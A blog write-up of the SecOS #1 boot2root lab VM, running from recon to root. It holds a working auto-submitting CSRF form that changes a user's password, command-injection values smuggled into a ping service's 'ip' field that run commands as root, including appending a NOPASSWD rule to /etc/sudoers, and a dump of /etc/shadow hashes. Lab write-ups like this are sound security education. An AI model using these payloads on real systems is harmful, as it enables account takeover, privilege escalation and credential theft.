Address
304 North Cardinal St.
Dorchester Center, MA 02124
Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM
Address
304 North Cardinal St.
Dorchester Center, MA 02124
Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM
The next boot2root that I decided to do was SecOS #1 from PaulSec.
First up was to run netdiscover to find out where the new VM was located.
root@kali:~# netdiscover -i eth0 -r 172.16.119.0/24 Currently scanning: Finished! | Screen View: Unique Hosts 3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180 ________________________________________________________________ IP At MAC Address Count Len MAC Vendor ---------------------------------------------------------------- 172.16.119.1 00:50:56:c0:00:01 01 060 VMWare, Inc. 172.16.119.137 00:0c:29:a1:af:25 01 060 VMware, Inc. 172.16.119.254 00:50:56:ef:65:dc 01 060 VMWare, Inc.
Knowing where the host was, I was able to run a quick Nmap scan to see what was actually running.
root@kali:~# nmap -sT -sV -O 172.16.119.137 Starting Nmap 6.47 ( http://nmap.org ) at 2015-07-10 05:07 EDT Nmap scan report for 172.16.119.137 Host is up (0.00034s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh (protocol 2.0) 8081/tcp open http Node.js (Express middleware) 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi : SF-Port22-TCP:V=6.47%I=7%D=7/10%Time=55AF5D4D%P=x86_64-unknown-linux-gnu%r SF:(NULL,27,"SSH-2\.0-OpenSSH_6\.6p1\x20Ubuntu-2ubuntu1\r\n"); MAC Address: 00:0C:29:A1:AF:25 (VMware) Device type: general purpose Running: Linux 3.X OS CPE: cpe:/o:linux:linux_kernel:3 OS details: Linux 3.11 - 3.14 Network Distance: 1 hop OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 20.76 seconds
It looked like the HTTP/Node.js server would be my best bet for entry, so I decided to check out the home page.
After poking around a bit, there was a commented out link on the About page.
On the hint page, there was a reference to CSRF and how the admin visits the page, so that would probably be quite useful later.
I tried to create an account (test/test) to login to the application, but it appeared that the user already existed.
I was then actually able to login to the account (and change the password) using the same credentials that I would have used (not in a production environment of course).
With at least a basic account, I decided to see what other users existed on the system (and test for XSS, though that didn’t work).
Using the hint from earlier, I stood up a basic form for CSRF. Note that I used 127.0.0.1 as the application IP, since the hint from earlier mentioned that the administrator accessed the application from his localhost.
<html xmlns="http://www.w3.org/1999/xhtml"> <head> <title></title> </head> <body> <form name="badform" method="post" action="http://127.0.0.1:8081/change-password"> <input type="hidden" name="username" value="spiderman" /> <input type="hidden" name="password" value="passw0rd" /> </form> <script type="text/javascript"> document.badform.submit(); </script> </body> </html>
With my page prepared, I started up a Python SimpleHTTPServer and waited for requests.
root@kali:~# python -m SimpleHTTPServer 80 Serving HTTP on 0.0.0.0 port 80 ... 172.16.119.137 - - [10/Jul/2015 12:31:11] "GET /csrf.html HTTP/1.1" 200 -
Having everything was in place, I sent the spiderman user a message to my CSRF page.
After waiting a bit (and seeing the GET request in my SimpleHTTPServer above), I was able to login to the spiderman account using the changed credentials, and change his password.
Additionally, I was able to view spiderman’s messages. One of them referenced his password, so I was hoping that it was his SSH password/a password that he reused for SSH.
Using spiderman/CrazyPassword! I was actually able to SSH into the box, which was great.
root@kali:~# ssh [email protected] [email protected]'s password: Welcome to Ubuntu 14.04 LTS (GNU/Linux 3.13.0-24-generic i686) * Documentation: https://help.ubuntu.com/ System information as of Wed Jul 10 15:09:03 CEST 2015 System load: 0.0 Memory usage: 20% Processes: 86 Usage of /: 37.0% of 6.50GB Swap usage: 0% Users logged in: 0 Graph this data and manage this system at: https://landscape.canonical.com/ Last login: Thu Jul 10 13:39:24 2015 from 172.16.119.128 spiderman@SecOS-1:~$
After a bit of enumeration, I discovered that some sort of server.js was running (and under the root user!), so I assumed that it was at least part of the web server that I was able to hit.
spiderman@SecOS-1:~/vnwa$ ps aux | grep vnwa root 1001 0.0 0.0 4692 52 ? Ss Jul09 0:00 sudo -u spiderman sh -c /usr/local/bin/node /home/spiderman/vnwa/server.js root 1005 0.0 0.0 4692 48 ? Ss Jul09 0:00 sudo -u root sh -c /usr/local/bin/node /home/spiderman/vnwa/internalServer.js spiderm+ 1023 0.0 0.0 2268 64 ? S Jul09 0:00 sh -c /usr/local/bin/node /home/spiderman/vnwa/server.js spiderm+ 1024 4.5 16.7 93652 41532 ? Sl Jul09 90:42 /usr/local/bin/node /home/spiderman/vnwa/server.js root 1026 0.0 0.0 2268 64 ? S Jul09 0:00 sh -c /usr/local/bin/node /home/spiderman/vnwa/internalServer.js root 1027 0.0 0.0 74656 144 ? Sl Jul09 0:00 /usr/local/bin/node /home/spiderman/vnwa/internalServer.js spiderm+ 17146 0.0 0.2 2268 556 ? Ss 20:32 0:00 /bin/sh -c /opt/phantomjs/bin/phantomjs /home/spiderman/vnwa/scripts/admin.js spiderm+ 17147 0.0 9.6 93408 23784 ? Sl 20:32 0:00 /opt/phantomjs/bin/phantomjs /home/spiderman/vnwa/scripts/admin.js spiderm+ 17266 0.0 0.2 2268 552 ? Ss 20:33 0:00 /bin/sh -c /opt/phantomjs/bin/phantomjs /home/spiderman/vnwa/scripts/admin.js spiderm+ 17267 0.0 9.6 93296 23792 ? Sl 20:33 0:00 /opt/phantomjs/bin/phantomjs /home/spiderman/vnwa/scripts/admin.js spiderm+ 17289 0.0 0.2 2268 552 ? Ss 20:34 0:00 /bin/sh -c /opt/phantomjs/bin/phantomjs /home/spiderman/vnwa/scripts/admin.js spiderm+ 17290 0.1 9.5 93296 23528 ? Sl 20:34 0:00 /opt/phantomjs/bin/phantomjs /home/spiderman/vnwa/scripts/admin.js spiderm+ 17302 0.0 0.2 2268 552 ? Ss 20:35 0:00 /bin/sh -c /opt/phantomjs/bin/phantomjs /home/spiderman/vnwa/scripts/admin.js spiderm+ 17303 0.5 9.6 93408 23780 ? Sl 20:35 0:00 /opt/phantomjs/bin/phantomjs /home/spiderman/vnwa/scripts/admin.js spiderm+ 17309 0.0 0.3 4680 824 pts/0 S+ 20:35 0:00 grep --color=auto vnwa
Looking at the internalServer.js file, it appeared to be running a ping service of some sort on the local machine on port 9000.
spiderman@SecOS-1:~/vnwa$ cat internalServer.js var fs = require('fs'); var express = require('express'); var http = require('http'); var sys = require('sys') var exec = require('child_process').exec; var crypto = require('crypto'); var utils = require('./lib/utils.js'); var model = require('./lib/model.js'); var app = express(); var server = http.createServer(app); var logger = function (req, res, next) { console.log(req.connection.remoteAddress + " tried to access : " + req.url); next(); // Passing the request to the next handler in the stack. } // Configuration app.configure(function () { // Session management app.use(express.cookieParser()); app.use(express.session({secret: 'privateKeyForSession'})); app.use("/js", express.static(__dirname + '/public/js')); // javascript folder app.use("/css", express.static(__dirname + '/public/css')); // javascript folder app.set('views', __dirname + '/views'); // views folder app.set('view engine', 'ejs'); // view engine for this projet : ejs app.use(express.bodyParser()); // for POST Requests app.use(logger); // Here you add your logger to the stack. app.use(app.router); // The Express routes handler. }); app.get('/', function (req, res) { res.render('ping.ejs', { isConnected: req.session.isConnected, isAdmin: req.session.isAdmin }); }); // Update password app.post('/', function (req, res) { ip = req.body.ip if (ip == "") { utils.redirect(req, res, '/ping-status'); } else { // getting the command with req.params.command var child; // console.log(req.params.command); child = exec('ping ' + ip, function (error, stdout, stderr) { res.render('ping.ejs', { isConnected: req.session.isConnected, message: stdout, isAdmin: req.session.isAdmin }); }); } }); server.listen(9000, '127.0.0.1', function() { console.log("Listening on port 9000"); });
I also verified that something was indeed listening on port 9000, just to make sure.
spiderman@SecOS-1:~/vnwa$ netstat -anp | grep 9000 (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) tcp 0 0 127.0.0.1:9000 0.0.0.0:* LISTEN
With this information in hand, I decided to attempt to send a POST request to this service using CURL and the local IP. After waiting for awhile, I realized that it was because ping in Linux doesn’t auto-terminate by default, so my second request sent only one packet.
spiderman@SecOS-1:~/vnwa$ curl --data "ip=127.0.0.1" localhost:9000 ^C spiderman@SecOS-1:~/vnwa$ curl --data "ip=127.0.0.1 -c 1" localhost:9000 <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="description" content=""> <meta name="author" content=""> <!-- <link rel="shortcut icon" href="../../assets/ico/favicon.ico"> --> <title>Internal Web App</title> <!-- Bootstrap core CSS --> <link href="/css/bootstrap.min.css" rel="stylesheet"> <!-- Bootstrap theme --> <link href="/css/bootstrap-theme.min.css" rel="stylesheet"> <!-- Custom styles for this template --> <link href="/css/theme.css" rel="stylesheet"> <link href="/css/theme-secure-web-app.css" rel="stylesheet"> </head> <body role="document"> <!-- Fixed navbar --> <div class="navbar navbar-inverse navbar-fixed-top" role="navigation"> <div class="container"> <div class="navbar-header"> <button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse"> <span class="sr-only">Toggle navigation</span> </button> <a class="navbar-brand" href="/">Internal admin tools</a> </div> <div class="navbar-collapse collapse"> <ul class="nav navbar-nav"> </ul> </div><!--/.nav-collapse --> </div> </div> <div class="container"> <form class="form-signin" action="/" method="POST"> <h4 class="form-signin-heading">Enter the IP you want to ping</h4> <input type="text" class="input-block-level" placeholder="127.0.0.1" name="ip"><br /> <button class="btn btn-large btn-primary" type="submit">Ping !</button> </form> <div class="panel panel-default"> <div class="panel-heading"> <h3 class="panel-title">Ping result</h3> </div> <div class="panel-body">PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.016 ms --- 127.0.0.1 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 0.016/0.016/0.016/0.000 ms </div> </div> </div> <!-- /container --> </body> </html>
Now that I was able to use the service locally, I wanted to see if it was vulnerable to some super simple command injection using ‘id’ (emphasis added).
spiderman@SecOS-1:~$ curl --data "ip=127.0.0.1 -c 1;id" 127.0.0.1:9000
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="description" content="">
<meta name="author" content="">
<!-- <link rel="shortcut icon" href="../../assets/ico/favicon.ico"> -->
<title>Internal Web App</title>
<!-- Bootstrap core CSS -->
<link href="/css/bootstrap.min.css" rel="stylesheet">
<!-- Bootstrap theme -->
<link href="/css/bootstrap-theme.min.css" rel="stylesheet">
<!-- Custom styles for this template -->
<link href="/css/theme.css" rel="stylesheet">
<link href="/css/theme-secure-web-app.css" rel="stylesheet">
</head>
<body role="document">
<!-- Fixed navbar -->
<div class="navbar navbar-inverse navbar-fixed-top" role="navigation">
<div class="container">
<div class="navbar-header">
<button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse">
<span class="sr-only">Toggle navigation</span>
</button>
<a class="navbar-brand" href="/">Internal admin tools</a>
</div>
<div class="navbar-collapse collapse">
<ul class="nav navbar-nav">
</ul>
</div><!--/.nav-collapse -->
</div>
</div>
<div class="container">
<form class="form-signin" action="/" method="POST">
<h4 class="form-signin-heading">Enter the IP you want to ping</h4>
<input type="text" class="input-block-level" placeholder="127.0.0.1" name="ip"><br />
<button class="btn btn-large btn-primary" type="submit">Ping !</button>
</form>
<div class="panel panel-default">
<div class="panel-heading">
<h3 class="panel-title">Ping result</h3>
</div>
<div class="panel-body">PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.012 ms
--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.012/0.012/0.012/0.000 ms
uid=0(root) gid=0(root) groups=0(root)
</div>
</div>
</div> <!-- /container -->
</body>
</html>
Since I knew I was able to execute arbitrary commands as root, I figured the simplest path to root would be to add spiderman to the sudoers file (where he didn’t exist yet) and give him access to ALL.
spiderman@SecOS-1:~$ id uid=1001(spiderman) gid=1001(spiderman) groups=1001(spiderman) spiderman@SecOS-1:~$ curl --data "ip=127.0.0.1 -c 1;echo 'spiderman ALL = NOPASSWD: ALL' >> /etc/sudoers" 127.0.0.1:9000 <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="description" content=""> <meta name="author" content=""> <!-- <link rel="shortcut icon" href="../../assets/ico/favicon.ico"> --> <title>Internal Web App</title> <!-- Bootstrap core CSS --> <link href="/css/bootstrap.min.css" rel="stylesheet"> <!-- Bootstrap theme --> <link href="/css/bootstrap-theme.min.css" rel="stylesheet"> <!-- Custom styles for this template --> <link href="/css/theme.css" rel="stylesheet"> <link href="/css/theme-secure-web-app.css" rel="stylesheet"> </head> <body role="document"> <!-- Fixed navbar --> <div class="navbar navbar-inverse navbar-fixed-top" role="navigation"> <div class="container"> <div class="navbar-header"> <button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse"> <span class="sr-only">Toggle navigation</span> </button> <a class="navbar-brand" href="/">Internal admin tools</a> </div> <div class="navbar-collapse collapse"> <ul class="nav navbar-nav"> </ul> </div><!--/.nav-collapse --> </div> </div> <div class="container"> <form class="form-signin" action="/" method="POST"> <h4 class="form-signin-heading">Enter the IP you want to ping</h4> <input type="text" class="input-block-level" placeholder="127.0.0.1" name="ip"><br /> <button class="btn btn-large btn-primary" type="submit">Ping !</button> </form> <div class="panel panel-default"> <div class="panel-heading"> <h3 class="panel-title">Ping result</h3> </div> <div class="panel-body">PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.016 ms --- 127.0.0.1 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 0.016/0.016/0.016/0.000 ms </div> </div> </div> <!-- /container --> </body> </html>
Just to be sure, I then also dumped the sudoers file to make sure that it was where I expected and contained spiderman’s information.
spiderman@SecOS-1:~$ curl --data "ip=127.0.0.1 -c 1;cat /etc/sudoers" 127.0.0.1:9000 <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="description" content=""> <meta name="author" content=""> <!-- <link rel="shortcut icon" href="../../assets/ico/favicon.ico"> --> <title>Internal Web App</title> <!-- Bootstrap core CSS --> <link href="/css/bootstrap.min.css" rel="stylesheet"> <!-- Bootstrap theme --> <link href="/css/bootstrap-theme.min.css" rel="stylesheet"> <!-- Custom styles for this template --> <link href="/css/theme.css" rel="stylesheet"> <link href="/css/theme-secure-web-app.css" rel="stylesheet"> </head> <body role="document"> <!-- Fixed navbar --> <div class="navbar navbar-inverse navbar-fixed-top" role="navigation"> <div class="container"> <div class="navbar-header"> <button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse"> <span class="sr-only">Toggle navigation</span> </button> <a class="navbar-brand" href="/">Internal admin tools</a> </div> <div class="navbar-collapse collapse"> <ul class="nav navbar-nav"> </ul> </div><!--/.nav-collapse --> </div> </div> <div class="container"> <form class="form-signin" action="/" method="POST"> <h4 class="form-signin-heading">Enter the IP you want to ping</h4> <input type="text" class="input-block-level" placeholder="127.0.0.1" name="ip"><br /> <button class="btn btn-large btn-primary" type="submit">Ping !</button> </form> <div class="panel panel-default"> <div class="panel-heading"> <h3 class="panel-title">Ping result</h3> </div> <div class="panel-body">PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.012 ms --- 127.0.0.1 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 0.012/0.012/0.012/0.000 ms # # This file MUST be edited with the 'visudo' command as root. # # Please consider adding local content in /etc/sudoers.d/ instead of # directly modifying this file. # # See the man page for details on how to write a sudoers file. # Defaults env_reset Defaults mail_badpass Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" # Host alias specification # User alias specification # Cmnd alias specification # User privilege specification root ALL=(ALL:ALL) ALL # Members of the admin group may gain root privileges %admin ALL=(ALL) ALL # Allow members of group sudo to execute any command %sudo ALL=(ALL:ALL) ALL # See sudoers(5) for more information on "#include" directives: #includedir /etc/sudoers.d spiderman ALL = NOPASSWD: ALL </div> </div> </div> <!-- /container --> </body> </html>
With spiderman a sudoer now, I was able to sudo /bin/sh and get root.
spiderman@SecOS-1:~$ sudo -l Matching Defaults entries for spiderman on SecOS-1: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User spiderman may run the following commands on SecOS-1: (root) NOPASSWD: ALL spiderman@SecOS-1:~$ sudo /bin/sh # id uid=0(root) gid=0(root) groups=0(root)
As root, I grabbed the flag.txt (which will allegedly be used in his next VM, but I did not redact it as cheating on the next one won’t help anyone anyway).
# cat flag.txt Hey, Congrats, you did it ! The flag for this first (VM) is: MickeyMustNotDie. Keep this flag because it will be needed for the next VM. If you liked the Web application, the code is available on Github. (https://github.com/PaulSec/VNWA) There should be more VMs to come in the next few weeks/months. Twitter: @PaulWebSec GitHub : PaulSec
Of course I also grabbed the shadow file just in case.
# cat /etc/shadow root:$6$i3eopI5X$TFp/JoQDo.eiPwD/cZeGzhUajaPQYgt7gI/OlwyZVB3Uu/Mrj668DtC9BmeeIcjeQ9dkCHllCJt/uoSHeB6jn0:16626:0:99999:7::: daemon:*:16176:0:99999:7::: bin:*:16176:0:99999:7::: sys:*:16176:0:99999:7::: sync:*:16176:0:99999:7::: games:*:16176:0:99999:7::: man:*:16176:0:99999:7::: lp:*:16176:0:99999:7::: mail:*:16176:0:99999:7::: news:*:16176:0:99999:7::: uucp:*:16176:0:99999:7::: proxy:*:16176:0:99999:7::: www-data:*:16176:0:99999:7::: backup:*:16176:0:99999:7::: list:*:16176:0:99999:7::: irc:*:16176:0:99999:7::: gnats:*:16176:0:99999:7::: nobody:*:16176:0:99999:7::: libuuid:!:16176:0:99999:7::: syslog:*:16176:0:99999:7::: messagebus:*:16185:0:99999:7::: landscape:*:16185:0:99999:7::: sshd:*:16185:0:99999:7::: secosadmin:$6$3YVqntG6$DRjb75qLdF1nu9j0D4Jfpbs8oSeVWl9I6W.7N3wmEZPPBCpxeez/mQEsK8tvBDd0/eiqp/0tGoJol4nmUl7KP.:16185:0:99999:7::: mongodb:*:16185:0:99999:7::: spiderman:$6$EM22OYT2$G3bNRAMBXgWcth2Fzgl/pBbUIik3WBMFb/puWQn.UWS/Pq0GAxvlGQQVozG4CWeb76APZ88GC0ycGlofcM7Bg.:16185:0:99999:7:::
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he’s done it all. To show for it, he has obtained an OSCE, OSCP, eCPPT, GXPN, eWPT, eWPTX, SLAE, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!
He currently serves as a Senior Staff Adversarial Engineer for Avalara, and his previous position was a Principal Penetration Testing Consultant for Secureworks.
This page contains links to products that I may receive compensation from at no additional cost to you. View my Affiliate Disclosure page here. As an Amazon Associate, I earn from qualifying purchases.